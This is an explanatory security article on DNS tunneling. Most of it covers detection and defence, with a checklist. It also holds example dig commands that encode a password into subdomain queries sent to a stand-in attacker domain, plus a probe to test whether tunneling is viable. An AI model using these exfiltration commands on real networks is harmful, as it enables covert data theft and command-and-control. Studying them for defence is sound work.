DNS tunneling is a technique that encodes arbitrary data inside DNS queries and responses, turning the Domain Name System into a covert communication channel. Because DNS traffic on port 53 is almost universally allowed through firewalls, attackers use tunneling to bypass network security controls, exfiltrate sensitive data, and establish command-and-control channels with malware. The data hides in plain sight within what appears to be normal DNS traffic.
I find DNS tunneling fascinating because it exploits the one protocol that security teams almost never block. Everyone monitors HTTP, restricts SSH, and inspects SMTP. But DNS? It just works, and no one looks at it closely. That is exactly what attackers count on.
How DNS Tunneling Works
The core concept is encoding data within the subdomain labels of DNS queries.
Outbound Data (Exfiltration)
To send data out, the attacker's malware on a compromised machine encodes it in subdomain queries:
- The malware takes the data to exfiltrate (say, a password file)
- It encodes the data using Base32 or Base64
- It splits the encoded string into chunks that fit within DNS label length limits (63 characters per label, 253 total)
- It sends DNS queries for each chunk as a subdomain of a domain the attacker controls
# Original data: "password123"
# Base32 encoded: "OBQXG43XN5ZGI"
dig OBQXG43XN5ZGI.exfil.attacker.com TXT
The query travels through the network's DNS resolver (which is allowed by the firewall), reaches the attacker's authoritative nameserver for attacker.com, and the attacker decodes the subdomain to recover the data.
Inbound Data (Command & Control)
To send commands back, the attacker's nameserver responds with encoded data in the DNS response:
- TXT records can carry up to 255 bytes per string (multiple strings per record)
- CNAME records can carry data encoded in the target hostname
- MX records, NULL records, and other types can also carry encoded payloads
The malware queries a specific subdomain, and the response contains the next command to execute.
Full Tunnel
Tools like iodine and dnscat2 combine both directions to create a full bidirectional tunnel. Iodine can tunnel an entire IP connection through DNS, providing a virtual network interface that routes all traffic through DNS queries and responses. Connection speeds are slow (typically 50-100 Kbps) but sufficient for command execution, file transfer, and interactive shells.
Real-World Examples
DNS tunneling has been used in notable real-world attacks:
- APT groups have used DNS tunneling for command and control in targeted attacks against government and defense organizations, where traditional C2 channels are heavily monitored
- The OilRig group (APT34) used custom DNS tunneling tools in attacks against Middle Eastern organizations
- Ransomware operators have used DNS to exfiltrate data before encrypting systems, as a double-extortion technique
- Data theft from air-gapped networks has been demonstrated by encoding data in DNS queries that traverse the gap through allowed DNS traffic
How Attackers Discover This Weakness
An attacker evaluates whether DNS tunneling will work against a target by checking:
- Can the target's machines make external DNS queries? In most networks, the answer is yes.
- Is DNS traffic inspected? Most organizations do not perform deep inspection of DNS query content.
- Are there query length limits? Some resolvers or security appliances truncate or block unusually long queries, but many do not.
# Test if a network allows external DNS resolution
dig test.attacker-controlled-domain.com TXT
# If a response comes back, DNS tunneling is viable
The attacker then registers a domain and configures an authoritative nameserver to decode tunneled data.
How to Detect DNS Tunneling
DNS tunneling has several detectable characteristics:
Query Length Analysis
Normal DNS queries are short. www.example.com is 15 characters. Tunneled queries look like:
aGVsbG8gd29ybGQ.ZnJvbSBkbnMgdHVubmVs.exfil.attacker.com
Alert on queries where subdomain labels exceed 30-40 characters or total query length exceeds 100 characters.
Query Volume
A single internal host making hundreds of DNS queries per minute to the same domain is abnormal. Normal browsing generates diverse queries across many domains.
Monitor for high query rates from single hosts to single domains.
Entropy Analysis
Encoded data (Base32, Base64, hex) has higher entropy than normal domain names. Normal subdomains use common English words and are low-entropy. Tunneled data appears random.
Deploy tools that calculate Shannon entropy on query names and flag high-entropy queries.
Record Type Anomalies
Normal DNS traffic is predominantly A, AAAA, and CNAME queries. Tunneling often uses TXT, NULL, or CNAME records for their larger payload capacity.
Alert on unusual volumes of TXT or NULL record queries, especially from internal hosts.
Response Size
Normal DNS responses are small. Tunneled responses carrying encoded payloads are often much larger, especially for TXT records.
How to Defend Against It
Force All DNS Through Your Resolver
Block direct DNS (port 53) to external addresses at the firewall. Force all internal machines to use your monitored resolver:
# Firewall rule (conceptual)
BLOCK outbound TCP/UDP port 53 to any EXCEPT your-resolver-ip
This ensures all DNS traffic passes through infrastructure you control and monitor.
Deploy DNS Security Monitoring
Use DNS security tools that analyze query patterns in real time:
- Passive DNS monitoring logs all queries for retrospective analysis
- DNS firewalls (like Response Policy Zones) can block known tunneling domains
- Machine learning-based detectors can identify tunneling patterns based on entropy, volume, and timing
Implement Query Restrictions
- Limit maximum query name length on your resolver if possible
- Rate limit queries per client to prevent high-volume tunneling
- Block or log TXT and NULL queries from internal hosts that have no legitimate need for them
Block Known Tunneling Domains
Maintain blocklists of known DNS tunneling infrastructure and integrate them with your DNS resolver using RPZ (Response Policy Zones).
Mitigation Checklist
- Direct external DNS (port 53) is blocked at the firewall
- All internal DNS traffic routes through monitored resolvers
- DNS query logging is enabled and analyzed
- Alerts are configured for long query names (>50 chars) and high-entropy queries
- TXT and NULL query volumes are monitored from internal hosts
- DNS security tools with tunneling detection are deployed
- RPZ or equivalent blocklists cover known tunneling domains
- Per-client query rate limits are in place
Common Misconfigurations
- Allowing direct DNS to external resolvers (8.8.8.8, 1.1.1.1) from internal machines, bypassing your monitoring
- Not logging DNS queries at the resolver level, leaving you blind to tunneling activity
- Ignoring DNS in incident response — failing to check DNS logs when investigating a breach
- Assuming encrypted DNS (DoH/DoT) prevents tunneling — it does not; tunneling works within the DNS protocol itself, regardless of transport encryption
Ethical Note
DNS tunneling tools like iodine and dnscat2 are legitimate security research tools. Testing them against your own infrastructure in a lab environment is an excellent way to understand the threat and validate your detection capabilities. Never use them against networks you do not own or have authorization to test.
This article is part of the Complete Guide to DNS Attacks and DNS Security. See also: DNS Over HTTPS Abuse, DNS Troubleshooting Tools.